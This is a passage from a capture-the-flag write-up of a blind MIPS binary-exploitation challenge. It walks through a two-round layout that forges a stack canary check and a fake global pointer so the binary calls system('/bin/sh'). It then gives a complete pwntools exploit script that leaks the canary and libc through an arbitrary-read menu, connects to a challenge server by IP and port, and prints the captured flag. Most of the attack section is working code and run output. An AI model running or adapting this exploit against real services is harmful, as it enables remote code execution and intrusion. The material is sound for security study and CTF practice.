$gp slot = $fp_r + 0x10 (= $sp_r — 0x2c, safely below read’s frame)
$sp_{r+1} = $fp_r + 0x78

Frames march up the stack by 0x3c per round, and each round’s $gp slot lives inside the previous round’s window. Self-sustaining, I guess.

The three-round version that didn’t work

My first full design used three rounds and a final hop through 0xc88, mostly because I’d convinced myself the /bin/sh string had to go in the last window. It failed silently, and debugging it was miserable because a crashed process looks alive — so “alive” told me nothing.

What eventually cracked it was a differential test: run the identical chain
but swap the final target from system to something whose success is visible. More on that in a second. The three-round layout also had a structural problem I kept banging into: the last window always sits just below the final $sp, so any string in it gets eaten by system’s own frames. The two-round layout dodges it.

The two-round layout that did

Two rounds is enough, and it leaves room for a full /bin/sh instead of a
cramped 4-byte ”sh”.

X = leak + 0x7fb4 fake $gp
FP2 = leak + 0x08 round-2 frame -> dest = leak+0x44, $gp slot = leak+0x18
F2 = leak — 0x0c final frame -> $gp slot = leak+0x04, slots at leak+0x60/64/68

Round 1 — main’s own send, window leak .. leak+0x3b. $sp is
leak-0x3c here so the whole window is safe:

leak + 0x00 : &system <- M[X — 0x7fb4], what 0xbc8 will jalr
leak + 0x04 : X <- M[F2 + 0x10], the fake $gp
leak + 0x0c : canary <- the forged guard *value*
leak + 0x14 : leak + 0x0c <- M[X — 0x7fa0], the forged &__stack_chk_guard
leak + 0x18 : real $gp <- M[FP2 + 0x10], real $gp for round 2
leak + 0x30 : canary <- round 1’s own canary slot
leak + 0x34 : FP2 <- saved $fp
leak + 0x38 : base + 0xc68 <- saved $ra: go do another read()

Round 2 — $fp = FP2 = leak+0x08, so read lands at leak+0x44, window
leak+0x44 .. leak+0x7f. Its $gp slot isleak+0x18 (real $gp, 0x24below $sp → survives, per the table):

leak + 0x60 : canary <- F2 + 0x6c, checked under the FAKE $gp
leak + 0x64 : leak + 0x48 <- F2 + 0x70, becomes $fp at 0xbc8 ($a0 = $fp+0x24)
leak + 0x68 : base + 0xbc8 <- F2 + 0x74, becomes $ra
leak + 0x6c : “/bin/sh\0” <- the argument itself
leak + 0x74 : canary <- FP2 + 0x6c, round 2’s own canary
leak + 0x78 : F2 <- FP2 + 0x70
leak + 0x7c : base + 0xc88 <- FP2 + 0x74, hop that reloads $gp from M[F2+0x10]

The run, instruction by instruction:

  1. Round 2’s read returns.0xc88 does lw $gp, 0x10($fp) with $fp = FP2 → $gp = M[leak+0x18] = real $gp. Canary check uses the real guard vs M[FP2+0x6c] = M[leak+0x74] = canary. Passes.
  2. Epilogue: $sp = FP2; $ra = M[FP2+0x74] = 0xc88; $fp = M[FP2+0x70] = F2; $sp = FP2 + 0x78. Jump to 0xc88 again, this time with $fp = F2.
  3. lw $gp, 0x10($fp) → $gp = M[F2 + 0x10] = M[leak+0x04] = X. Now $gp is fake.
  4. Canary check under the fake $gp: M[X — 0x7fa0] = M[leak+0x14] = leak+0x0c, then M[leak+0x0c] = canary, compared against M[F2 + 0x6c] = M[leak+0x60] = canary. **Passes.**
  5. Epilogue: $sp = F2; $ra = M[F2+0x74] = M[leak+0x68] = base+0xbc8;
    $fp = M[F2+0x70] = M[leak+0x64] = leak+0x48; $sp = F2 + 0x78 = leak+0x6c.
  6. Land at 0xbc8:
    — addiu $v0, $fp, 0x24 → $v0 = leak + 0x6c → $a0 = leak + 0x6c = ”/bin/sh”
    — lw $v0, -0x7fb4($gp) with $gp = X → M[leak + 0x00] = system
    — move $t9, $v0 → $t9 = system
    — jalr $t9 → system(“/bin/sh”)

Note step 6’s $sp = leak + 0x6c is *exactly* where the string lives. That’s the o32 argument-save area, which a callee may use — but glibc’s system isn’t varargs and its prologue only touches its own frame (addiu $sp,$sp,-0x20), so the string survives. This is the one genuinely tight spot in the layout

Let’s prove it!

Rather than debug system blind, I ran the identical chain with one word
changed: leak + 0x00 set to puts (read straight out of GOT[puts] at
base + 0x20064) instead of system.

leak 0xa42dc4 base 0xea0000 libc 0xaa0000 target 0xb18880 (puts)
OUT: b’/bin/sh\n’

Exploit? HERE

from pwn import *
import re, struct, time, sys

HOST, PORT = '34.2.147.230', 5000
CMD = sys.argv[1].encode() if len(sys.argv) > 1 else b'cat /flag/flag.txt'

SYSTEM_OFF = 0x4eac8
G_READ = 0xc68
G_CALL = 0xbc8
G_GP = 0xc88

io = remote(HOST, PORT)
banner = io.recvuntil(b'> ')
leak = int(re.search(rb'image: (0x[0-9a-f]+)', banner).group(1), 16)

def scan(addr):
"""menu option 1 = arbitrary 4-byte read. MUST be 4-byte aligned (MIPS lw)."""
io.sendline(b'1'); io.recvuntil(b'address? ')
io.sendline(hex(addr).encode())
return int(io.recvuntil(b'> ').split(b'\n')[0].strip(), 16)

canary = scan(leak + 0x30)
base = scan(leak + 0x154) - 0x34
gp = base + 0x28010

rdbg = scan(base + 0x20010)
lm = scan(rdbg + 4)
mods = []
while lm and len(mods) < 6:
mods.append(scan(lm))
lm = scan(lm + 12)
libc = mods[1]
system = libc + SYSTEM_OFF

log.info("leak %#x", leak)
log.info("canary %08x", canary)
log.info("base %#x", base)
log.info("libc %#x system %#x", libc, system)

X = leak + 0x7fb4
FP2 = leak + 0x08
F2 = leak - 0x0c

def frame(words, size=0x3c):
b = bytearray(size)
for off, v in words.items():
b[off:off+4] = v if isinstance(v, bytes) else struct.pack('>I', v)
return bytes(b)

p1 = frame({
0x00: system,
0x04: X,
0x0c: canary,
0x14: leak + 0x0c,
0x18: gp,
0x30: canary,
0x34: FP2,
0x38: base + G_READ,
})

p2 = bytearray(0x3c)
def put(addr, v):
i = addr - (leak + 0x44)
p2[i:i+4] = v if isinstance(v, bytes) else struct.pack('>I', v)

put(leak + 0x60, canary)
put(leak + 0x64, leak + 0x48)
put(leak + 0x68, base + G_CALL)
p2[0x28:0x30] = b'/bin/sh\x00'
put(leak + 0x74, canary)
put(leak + 0x78, F2)
put(leak + 0x7c, base + G_GP)

io.sendline(b'2'); io.recvuntil(b'data? ')
io.send(p1); time.sleep(0.8)
io.send(bytes(p2)); time.sleep(1.2)

io.clean(1)
io.sendline(CMD)
print(io.recvrepeat(6).decode(errors='replace'))
$ python3 exploit.py
[+] Opening connection to 34.2.147.230 on port 5000: Done
[*] leak 0x841dc4
[*] canary 00b7f4dc
[*] base 0xd70000
[*] libc 0x850000 system 0x89eac8
COMPFEST18{mY_G40t_5En!0r_kANnR!5h4_7HiNk_@_m!P5_PWN_w0UlD_b3_fUN_s0_I_cR3a7eD_iT_@Nd_m4K3_tH15_cH4lL_Bl1ND_t0_4Dd_s0M3_sP!cE5_d4774c83a556ee86}

Flag:

COMPFEST18{mY_G40t_5En!0r_kANnR!5h4_7HiNk_@_m!P5_PWN_w0UlD_b3_fUN_s0_I_cR3a7eD_iT_@Nd_m4K3_tH15_cH4lL_Bl1ND_t0_4Dd_s0M3_sP!cE5_d4774c83a556ee86}

Thanks for reading!

--

--